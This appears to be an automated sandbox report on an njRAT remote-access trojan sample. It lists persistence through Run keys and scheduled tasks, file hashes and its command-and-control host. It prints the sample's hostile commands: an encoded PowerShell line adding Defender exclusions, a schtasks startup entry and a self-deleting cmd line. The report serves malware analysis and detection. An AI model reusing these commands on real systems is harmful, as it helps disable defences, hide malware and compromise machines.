Analysis Overview
SHA256
ecedda5e5b8289ca6a2934482d13106d0c5faa7cb5fb7b2f1685bc2cc4147f02
Threat Level: Known bad
The file 2INJECTBYPASSBP.exe was found to be: Known bad.
Malicious Activity Summary
njRAT/Bladabindi
.NET Reactor proctector
Loads dropped DLL
Checks computer location settings
Drops startup file
Executes dropped EXE
Obfuscated Files or Information: Command Obfuscation
Adds Run key to start application
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Unsigned PE
Suspicious behavior: EnumeratesProcesses
Scheduled Task/Job: Scheduled Task
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-10-02 05:40
Signatures
.NET Reactor proctector
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-10-02 05:40
Reported
2024-10-02 05:43
Platform
win7-20240903-en
Max time kernel
150s
Max time network
140s
Command Line
Signatures
njRAT/Bladabindi
.NET Reactor proctector
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\realtek.exe | C:\Users\Admin\realtek.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\realtek.exe | C:\Users\Admin\realtek.exe | N/A |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\realtek.url | C:\Users\Admin\realtek.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\njrat client.exe | N/A |
| N/A | N/A | C:\Users\Admin\realtek.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\njrat client.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Windows\CurrentVersion\Run\realtek.exe = "\"C:\\Users\\Admin\\realtek.exe\" .." | C:\Users\Admin\realtek.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\realtek.exe = "\"C:\\Users\\Admin\\realtek.exe\" .." | C:\Users\Admin\realtek.exe | N/A |
Obfuscated Files or Information: Command Obfuscation
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\choice.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\njrat client.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\schtasks.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\realtek.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\schtasks.exe | N/A |
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: 33 | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: 33 | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: 33 | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: 33 | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: 33 | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: 33 | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: 33 | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: 33 | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: 33 | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: 33 | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: 33 | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: 33 | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: 33 | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: 33 | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: 33 | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: 33 | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: 33 | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Users\Admin\realtek.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\2INJECTBYPASSBP.exe
"C:\Users\Admin\AppData\Local\Temp\2INJECTBYPASSBP.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHcAdwBiACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AcQBsACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAeABuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG0AbQB3ACMAPgA="
C:\Users\Admin\njrat client.exe
"C:\Users\Admin\njrat client.exe"
C:\Windows\SysWOW64\schtasks.exe
schtasks /create /sc onstart /mo 1 /tn nyan /tr C:\Users\Admin\realtek.exe
C:\Users\Admin\realtek.exe
"C:\Users\Admin\realtek.exe"
C:\Windows\SysWOW64\schtasks.exe
schtasks /create /sc onstart /mo 1 /tn nyan /tr C:\Users\Admin\realtek.exe
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 5 & Del "C:\Users\Admin\njrat client.exe"
C:\Windows\SysWOW64\choice.exe
choice /C Y /N /D Y /T 5
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | hehe.ddns.net | udp |
| PL | 79.163.178.213:36597 | hehe.ddns.net | tcp |
| PL | 79.163.178.213:36597 | hehe.ddns.net | tcp |
| PL | 79.163.178.213:36597 | hehe.ddns.net | tcp |
| US | 8.8.8.8:53 | hehe.ddns.net | udp |
| PL | 79.163.178.213:36597 | hehe.ddns.net | tcp |
| PL | 79.163.178.213:36597 | hehe.ddns.net | tcp |
| PL | 79.163.178.213:36597 | hehe.ddns.net | tcp |
Files
memory/1564-0-0x000007FEF57E3000-0x000007FEF57E4000-memory.dmp
memory/1564-1-0x00000000000C0000-0x00000000000EA000-memory.dmp
memory/1564-2-0x000007FEF57E0000-0x000007FEF61CC000-memory.dmp
C:\Users\Admin\njrat client.exe
| MD5 | 2e035b66646cbe48b7258081d5c8015c |
| SHA1 | 3f97c139013951c074516f7f3e5336f68a55e9b0 |
| SHA256 | 2758dde61d7d514e5154ae6c54ea12514f0d16a14e4849e711a958b253e6642f |
| SHA512 | 7cd2d03e92fca485565548ec32fe1b971fb49faa120affd3ebfcc95ceaac3f9492aa2c712f56f425651b33e61938e52398aa0223b109cca855c51e3e65ba3d31 |
memory/1564-13-0x000007FEF57E0000-0x000007FEF61CC000-memory.dmp
memory/2660-15-0x0000000002810000-0x0000000002818000-memory.dmp
memory/2660-14-0x000000001B5E0000-0x000000001B8C2000-memory.dmp
memory/2576-16-0x0000000000030000-0x0000000000046000-memory.dmp
memory/2428-24-0x0000000001240000-0x0000000001256000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-10-02 05:40
Reported
2024-10-02 05:41
Platform
win10v2004-20240802-en
Max time kernel
31s
Max time network
40s
Command Line
Signatures
njRAT/Bladabindi
.NET Reactor proctector
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\2INJECTBYPASSBP.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\njrat client.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\realtek.exe | C:\Users\Admin\realtek.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\realtek.exe | C:\Users\Admin\realtek.exe | N/A |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\realtek.url | C:\Users\Admin\realtek.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\njrat client.exe | N/A |
| N/A | N/A | C:\Users\Admin\realtek.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\realtek.exe = "\"C:\\Users\\Admin\\realtek.exe\" .." | C:\Users\Admin\realtek.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\realtek.exe = "\"C:\\Users\\Admin\\realtek.exe\" .." | C:\Users\Admin\realtek.exe | N/A |
Obfuscated Files or Information: Command Obfuscation
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\schtasks.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\realtek.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\choice.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\schtasks.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\njrat client.exe | N/A |
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: 33 | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: 33 | N/A | C:\Users\Admin\realtek.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Users\Admin\realtek.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\2INJECTBYPASSBP.exe
"C:\Users\Admin\AppData\Local\Temp\2INJECTBYPASSBP.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHcAdwBiACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG4AcQBsACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAeABuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG0AbQB3ACMAPgA="
C:\Users\Admin\njrat client.exe
"C:\Users\Admin\njrat client.exe"
C:\Windows\SysWOW64\schtasks.exe
schtasks /create /sc onstart /mo 1 /tn nyan /tr C:\Users\Admin\realtek.exe
C:\Users\Admin\realtek.exe
"C:\Users\Admin\realtek.exe"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 5 & Del "C:\Users\Admin\njrat client.exe"
C:\Windows\SysWOW64\schtasks.exe
schtasks /create /sc onstart /mo 1 /tn nyan /tr C:\Users\Admin\realtek.exe
C:\Windows\SysWOW64\choice.exe
choice /C Y /N /D Y /T 5
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 149.220.183.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | hehe.ddns.net | udp |
| PL | 79.163.178.213:36597 | hehe.ddns.net | tcp |
Files
memory/1304-0-0x00007FFABC2B3000-0x00007FFABC2B5000-memory.dmp
memory/1304-1-0x00000000000C0000-0x00000000000EA000-memory.dmp
memory/1304-2-0x00007FFABC2B0000-0x00007FFABCD71000-memory.dmp
C:\Users\Admin\njrat client.exe
| MD5 | 2e035b66646cbe48b7258081d5c8015c |
| SHA1 | 3f97c139013951c074516f7f3e5336f68a55e9b0 |
| SHA256 | 2758dde61d7d514e5154ae6c54ea12514f0d16a14e4849e711a958b253e6642f |
| SHA512 | 7cd2d03e92fca485565548ec32fe1b971fb49faa120affd3ebfcc95ceaac3f9492aa2c712f56f425651b33e61938e52398aa0223b109cca855c51e3e65ba3d31 |
memory/1304-21-0x00007FFABC2B0000-0x00007FFABCD71000-memory.dmp
memory/4772-22-0x00007FFABC2B0000-0x00007FFABCD71000-memory.dmp
memory/940-23-0x00000000005F0000-0x0000000000606000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nwpqxg3j.vw0.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/940-35-0x0000000004E90000-0x0000000004F2C000-memory.dmp
memory/940-36-0x000000007521E000-0x000000007521F000-memory.dmp
memory/4772-34-0x0000020BF28C0000-0x0000020BF28E2000-memory.dmp
memory/4772-29-0x00007FFABC2B0000-0x00007FFABCD71000-memory.dmp
memory/940-37-0x00000000054E0000-0x0000000005A84000-memory.dmp
memory/4772-40-0x00007FFABC2B0000-0x00007FFABCD71000-memory.dmp
memory/2360-62-0x0000000005800000-0x0000000005892000-memory.dmp
memory/2360-63-0x00000000057A0000-0x00000000057AA000-memory.dmp